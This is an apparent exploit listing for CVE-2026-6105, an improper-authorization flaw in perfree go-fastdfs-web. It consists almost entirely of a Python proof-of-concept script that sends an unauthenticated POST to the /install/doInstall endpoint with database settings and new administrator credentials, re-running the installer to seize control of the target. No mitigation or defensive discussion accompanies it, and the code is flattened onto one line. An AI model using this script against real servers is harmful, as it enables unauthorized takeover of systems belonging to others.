CVE-2026-6105 perfree go-fastdfs-web权限不当漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-6105 Exploits improper authorization in the doInstall interface. """ url = f"{target_url}/install/doInstall" # Payload to simulate a恶意 installation request data = { "dbHost": "127.0.0.1", "dbPort": "3306", "dbName": "fastdfs", "dbUser": "root", "dbPass": "root", "userName": "admin", "userPass": "admin123" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Target may be vulnerable. Installation process triggered.") print(f"[+] Response: {response.text[:100]}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" exploit(target)